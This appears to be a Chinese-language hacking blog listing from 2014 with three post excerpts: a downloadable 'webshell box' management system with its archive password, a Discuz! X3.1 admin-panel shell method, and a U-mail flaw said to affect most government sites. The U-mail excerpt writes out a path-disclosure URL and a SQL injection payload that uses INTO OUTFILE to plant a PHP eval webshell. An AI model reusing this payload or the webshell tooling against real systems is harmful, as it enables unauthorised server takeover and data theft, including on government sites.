WebShell箱子管理系统

admin 发布于 2014-10-13 04:17
WEBSHELL箱子系统.zip 解压密码 lanxiang

Discuz! X3.1后台拿shell

admin 发布于 2014-06-09 02:43
之前写的几个后台拿shell,Discuz!忽略了,但新版本Discuz! X3.1 Release 20140301实际上有所加强,但是真的修复了之前提到的问题吗? Discuz!大概做了下面几个改动: 1.统计代码处,对 2.首页文件名限制了".",有点时,返回【setting_functions_makehtml_indexname_inv...

大部分政府网站U-mail存在直接拿shell漏洞

admin 发布于 2014-03-18 10:18
加入 webmail/userapply.php?execadd=333&DomainID=111 直接爆出物理地址 然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,11,12,13,14 into outfile 'D:/umail/WorldClie...